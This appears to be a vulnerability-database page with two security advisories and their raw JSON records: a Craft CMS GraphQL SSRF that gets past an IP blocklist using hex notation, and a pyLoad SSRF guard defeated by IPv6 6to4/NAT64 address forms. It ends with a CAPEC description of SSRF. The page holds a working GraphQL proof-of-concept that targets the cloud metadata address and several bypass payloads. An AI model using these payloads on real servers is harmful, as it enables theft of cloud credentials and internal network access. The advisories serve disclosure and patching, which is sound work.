filename: "metadata.txt"
}) {
id
}
}
- The IP validation passes (hex notation not recognized as IP)
- Guzzle resolves
169.254.0xa9feto169.254.169.254 - Cloud metadata is fetched and saved
Alternative Payloads
| Payload | Notation | Resolves To |
|---|---|---|
http://169.254.0xa9fe/ |
Mixed (decimal + hex) | 169.254.169.254 |
http://0xa9.0xfe.0xa9.0xfe/ |
Full hex dotted | 169.254.169.254 |
http://0xa9fea9fe/ |
Single hex integer | 169.254.169.254 |
Technical Details
File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.
// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.8.21"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.8.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.16.17"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.16.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25494"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T20:35:35Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "MODERATE"
},
"details": "I observed a [recent commit](https://github.com/craftcms/cms/commit/9d9b46a9e40cbdfb20d0d933abb546be12ccd3af) intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.\n\n---\n## Summary\n\nThe `saveAsset` GraphQL mutation uses `filter_var(..., FILTER_VALIDATE_IP)` to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.\n\n---\n## Proof of Concept\n1. Send the following GraphQL mutation:\n```graphql\nmutation {\n save_images_Asset(_file: { \n url: \"http://169.254.0xa9fe/latest/meta-data/\"\n filename: \"metadata.txt\"\n }) {\n id\n }\n}\n```\n2. The IP validation passes (hex notation not recognized as IP)\n3. Guzzle resolves `169.254.0xa9fe` to `169.254.169.254`\n4. Cloud metadata is fetched and saved\n\n### Alternative Payloads\n| Payload | Notation | Resolves To |\n|---------|----------|-------------|\n| `http://169.254.0xa9fe/` | Mixed (decimal + hex) | 169.254.169.254 |\n| `http://0xa9.0xfe.0xa9.0xfe/` | Full hex dotted | 169.254.169.254 |\n| `http://0xa9fea9fe/` | Single hex integer | 169.254.169.254 |\n\n---\n## Technical Details\n\n**File:** `src/gql/resolvers/mutations/Asset.php`\n**Root Cause:** `filter_var($hostname, FILTER_VALIDATE_IP)` only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.\n\n```php\n// Line 287 - Fails to catch hex notation\nfilter_var($hostname, FILTER_VALIDATE_IP)\n```",
"id": "GHSA-m5r2-8p9x-hp5m",
"modified": "2026-02-09T22:38:00Z",
"published": "2026-02-09T20:35:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-m5r2-8p9x-hp5m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25494"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/d49e93e5ba0c48939ce5eaa6cd9b4a990542d8b2"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.16.18"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/5.8.22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation"
}
GHSA-M5X5-28JR-GPJJ
Vulnerability from github – Published: 2026-07-09 13:35 – Updated: 2026-07-09 13:35Summary
is_global_address in src/pyload/core/utils/web/check.py is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is "globally routable" via Python's ipaddress.ip_address(value).is_global, and callers treat not is_global as "deny":
def is_global_address(value):
try:
return ipaddress.ip_address(value).is_global
except ValueError:
return False
def is_global_host(value):
ips = host_to_ip(value)
return ips and all((is_global_address(ip) for ip in ips))
Python's ipaddress.IPv6Address.is_global classifies the NAT64 well-known prefix as globally routable on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well:
| address | is_global on Py 3.9-3.11 |
is_global on Py 3.12+ |
wrapped IPv4 |
|---|---|---|---|
2002:7f00:0001:: (6to4) |
True | False | 127.0.0.1 |
2002:0a00:0001:: (6to4) |
True | False | 10.0.0.1 |
2002:a9fe:a9fe:: (6to4) |
True | False | 169.254.169.254 (IMDS) |
64:ff9b::a9fe:a9fe (NAT64) |
True | True | 169.254.169.254 |
64:ff9b::7f00:1 (NAT64) |
True | True | 127.0.0.1 |
pyload-ng declares python_requires = >=3.9 (setup.cfg), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. is_global returns True for these wrappers, so is_global_address returns True and the deny check passes. The pycurl PREREQFUNC at src/pyload/core/network/http/http_request.py:680 consults the same helper just before TCP-connect:
if not self.allow_private_ip:
is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port)
if not is_global_address(conn_primary_ip) and not is_proxy_ip:
return pycurl.PREREQFUNC_ABORT
return pycurl.PREREQFUNC_OK
On a host with 6to4 routing (legacy operator tunnels; 2002::/16 still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny.
is_global_host (the helper that callers like parse_urls use against a URL hostname) feeds through host_to_ip which pins family=AF_INET, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL — but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap.
Cross-reference: this is the same incomplete-coverage class as pydantic-ai's GHSA-cqp8-fcvh-x7r3 / CVE-2026-46678. pyload-ng's prior SSRF advisories GHSA-7gvf-3w72-p2pg and GHSA-8rp3-xc6w-5qp5 both went through is_global_host / is_global_address; the IPv6 transition gap is orthogonal to those redirect-bypass classes.
Severity
MEDIUM — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L = 4.7
AC:H— exploitation requires the host network to route 6to4 (2002::/16traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer.PR:L—parse_urls(src/pyload/core/api/__init__.py:582) requiresPerms.ADD, which any account capable of adding links holds. The curl PREREQFUNC athttp_request.py:680is reached by every downloader plugin that runs afteris_global_hostpassed.C:L/A:L— internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes.
CWE-918: Server-Side Request Forgery (SSRF).
Affected versions
pyload-ng from the introduction of is_global_address / is_global_host in src/pyload/core/utils/web/check.py up to and including the current main HEAD as of filing.
Vulnerable code
src/pyload/core/utils/web/check.py:
def is_global_address(value):
try:
return ipaddress.ip_address(value).is_global
except ValueError:
return False
Python ipaddress.IPv6Address.is_global returns True for every address in 2002::/16 (6to4) and 64:ff9b::/96 (NAT64) regardless of the IPv4 they wrap, so this guard is a one-line bypass for the prefix the attacker chooses.
Reproduction
research_wave5/poc/pyload_ipv6_ssrf/poc.py drives both is_global_address and is_global_host against IPv6 transition forms whose embedded IPv4 points at loopback, RFC 1918, and AWS IMDS. The helper returns "globally routable" for every form. A second pass replays the same forms through the PREREQFUNC logic in http_request.py:680 and shows the connection would be ALLOWED in each case.
Suggested fix
Treat IPv6 transition-encoding forms by unwrapping the embedded IPv4 and re-running the global check, plus an explicit blocklist of well-known embedding prefixes for defence in depth:
import ipaddress
_NAT64_WELL_KNOWN = ipaddress.IPv6Network("64:ff9b::/96")
_NAT64_DISCOVERY = ipaddress.IPv6Network("64:ff9b:1::/48")
def _embedded_ipv4(addr):
if isinstance(addr, ipaddress.IPv6Address):
if addr.ipv4_mapped is not None:
return addr.ipv4_mapped
if addr.sixtofour is not None: # 2002::/16 6to4
return addr.sixtofour
if addr in _NAT64_WELL_KNOWN or addr in _NAT64_DISCOVERY:
return ipaddress.IPv4Address(addr.packed[-4:])
return None
def is_global_address(value):
try:
addr = ipaddress.ip_address(value)
except ValueError:
return False
embedded = _embedded_ipv4(addr)
if embedded is not None:
addr = embedded
return addr.is_global
A patch implementing this approach (plus tests covering 6to4 and NAT64 wraps for 127.0.0.1, 10.0.0.1, 172.16.0.1, 192.168.1.1, 100.64.0.0/10, and 169.254.169.254) accompanies the fix PR.
Credits
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48737"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T13:35:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`is_global_address` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is \"globally routable\" via Python\u0027s `ipaddress.ip_address(value).is_global`, and callers treat `not is_global` as \"deny\":\n\n```python\ndef is_global_address(value):\n try:\n return ipaddress.ip_address(value).is_global\n except ValueError:\n return False\n\ndef is_global_host(value):\n ips = host_to_ip(value)\n return ips and all((is_global_address(ip) for ip in ips))\n```\n\nPython\u0027s `ipaddress.IPv6Address.is_global` classifies the NAT64 well-known prefix as **globally routable** on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well:\n\n| address | `is_global` on Py 3.9-3.11 | `is_global` on Py 3.12+ | wrapped IPv4 |\n|----------------------------------|---------------------------|--------------------------|----------------------|\n| `2002:7f00:0001::` (6to4) | True | False | 127.0.0.1 |\n| `2002:0a00:0001::` (6to4) | True | False | 10.0.0.1 |\n| `2002:a9fe:a9fe::` (6to4) | True | False | 169.254.169.254 (IMDS)|\n| `64:ff9b::a9fe:a9fe` (NAT64) | True | True | 169.254.169.254 |\n| `64:ff9b::7f00:1` (NAT64) | True | True | 127.0.0.1 |\n\npyload-ng declares `python_requires = \u003e=3.9` (`setup.cfg`), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. `is_global` returns True for these wrappers, so `is_global_address` returns True and the deny check passes. The pycurl `PREREQFUNC` at [`src/pyload/core/network/http/http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/network/http/http_request.py#L680) consults the same helper just before TCP-connect:\n\n```python\nif not self.allow_private_ip:\n is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port)\n if not is_global_address(conn_primary_ip) and not is_proxy_ip:\n return pycurl.PREREQFUNC_ABORT\nreturn pycurl.PREREQFUNC_OK\n```\n\nOn a host with 6to4 routing (legacy operator tunnels; `2002::/16` still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny.\n\n`is_global_host` (the helper that callers like `parse_urls` use against a URL hostname) feeds through `host_to_ip` which pins `family=AF_INET`, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL \u2014 but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap.\n\nCross-reference: this is the same incomplete-coverage class as pydantic-ai\u0027s [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / CVE-2026-46678. pyload-ng\u0027s prior SSRF advisories [GHSA-7gvf-3w72-p2pg](https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg) and [GHSA-8rp3-xc6w-5qp5](https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5) both went through `is_global_host` / `is_global_address`; the IPv6 transition gap is orthogonal to those redirect-bypass classes.\n\n## Severity\n\n**MEDIUM** \u2014 `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L` = **4.7**\n\n- `AC:H` \u2014 exploitation requires the host network to route 6to4 (`2002::/16` traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer.\n- `PR:L` \u2014 `parse_urls` ([`src/pyload/core/api/__init__.py:582`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/api/__init__.py#L582)) requires `Perms.ADD`, which any account capable of adding links holds. The curl PREREQFUNC at [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) is reached by every downloader plugin that runs after `is_global_host` passed.\n- `C:L/A:L` \u2014 internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes.\n\n**CWE-918**: Server-Side Request Forgery (SSRF).\n\n## Affected versions\n\n`pyload-ng` from the introduction of `is_global_address` / `is_global_host` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) up to and including the current main HEAD as of filing.\n\n## Vulnerable code\n\n[`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py):\n\n```python\ndef is_global_address(value):\n try:\n return ipaddress.ip_address(value).is_global\n except ValueError:\n return False\n```\n\n`Python ipaddress.IPv6Address.is_global` returns True for every address in `2002::/16` (6to4) and `64:ff9b::/96` (NAT64) regardless of the IPv4 they wrap, so this guard is a one-line bypass for the prefix the attacker chooses.\n\n## Reproduction\n\n[`research_wave5/poc/pyload_ipv6_ssrf/poc.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/research_wave5/poc/pyload_ipv6_ssrf/poc.py) drives both `is_global_address` and `is_global_host` against IPv6 transition forms whose embedded IPv4 points at loopback, RFC 1918, and AWS IMDS. The helper returns \"globally routable\" for every form. A second pass replays the same forms through the `PREREQFUNC` logic in [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) and shows the connection would be ALLOWED in each case.\n\n## Suggested fix\n\nTreat IPv6 transition-encoding forms by unwrapping the embedded IPv4 and re-running the global check, plus an explicit blocklist of well-known embedding prefixes for defence in depth:\n\n```python\nimport ipaddress\n\n_NAT64_WELL_KNOWN = ipaddress.IPv6Network(\"64:ff9b::/96\")\n_NAT64_DISCOVERY = ipaddress.IPv6Network(\"64:ff9b:1::/48\")\n\n\ndef _embedded_ipv4(addr):\n if isinstance(addr, ipaddress.IPv6Address):\n if addr.ipv4_mapped is not None:\n return addr.ipv4_mapped\n if addr.sixtofour is not None: # 2002::/16 6to4\n return addr.sixtofour\n if addr in _NAT64_WELL_KNOWN or addr in _NAT64_DISCOVERY:\n return ipaddress.IPv4Address(addr.packed[-4:])\n return None\n\n\ndef is_global_address(value):\n try:\n addr = ipaddress.ip_address(value)\n except ValueError:\n return False\n embedded = _embedded_ipv4(addr)\n if embedded is not None:\n addr = embedded\n return addr.is_global\n```\n\nA patch implementing this approach (plus tests covering 6to4 and NAT64 wraps for 127.0.0.1, 10.0.0.1, 172.16.0.1, 192.168.1.1, 100.64.0.0/10, and 169.254.169.254) accompanies the fix PR.\n\n## Credits\n\nReported by tonghuaroot.",
"id": "GHSA-m5x5-28jr-gpjj",
"modified": "2026-07-09T13:35:22Z",
"published": "2026-07-09T13:35:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-m5x5-28jr-gpjj"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "pyLoad: SSRF guard bypass via IPv6 6to4/NAT64 transition wrappers of internal IPs"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.